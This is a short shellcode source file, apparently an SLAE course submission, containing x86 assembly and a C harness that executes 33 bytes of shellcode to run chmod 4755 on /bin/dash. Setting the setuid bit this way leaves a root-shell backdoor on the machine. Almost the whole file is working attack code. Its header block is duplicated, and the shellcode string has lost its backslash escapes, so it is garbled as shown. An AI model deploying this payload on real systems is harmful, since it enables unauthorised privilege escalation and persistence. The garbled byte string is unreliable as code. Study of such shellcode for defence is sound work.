/*

Title: chmod 4755 /bin/dash
Author: absolomb
Website: https://www.sploitspren.com
SLAE-ID: 1208
Purpose: setuid bit on /bin/dash
Tested On: Ubuntu 14.04

Title: chmod 4755 /bin/dash
Author: absolomb
Website: https://www.sploitspren.com
SLAE-ID: 1208
Purpose: setuid bit on /bin/dash
Tested On: Ubuntu 14.04
Arch: x86
Size: 33 bytes

global _start

section .text

_start:

cdq ; edx to 0
push edx ; terminating NULL
push 0x68736164 ; 'hsad'
push 0x2f6e6962 ; '/nib'
push 0x2f2f2f2f ; '////'
mov ebx, esp ; point ebx to stack
mov cx, 0x9ed ; 4755
push 0xf ; chmod()
pop eax
int 0x80 ; execute chmod()
push 0x1 ; exit()
pop eax
int 0x80 ; execute exit()
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"x99x52x68x64x61x73x68x68x62x69x6ex2fx68x2fx2fx2fx2fx89xe3x66xb9xedx09x6ax0fx58xcdx80x6ax01x58xcdx80";
main()
{

printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}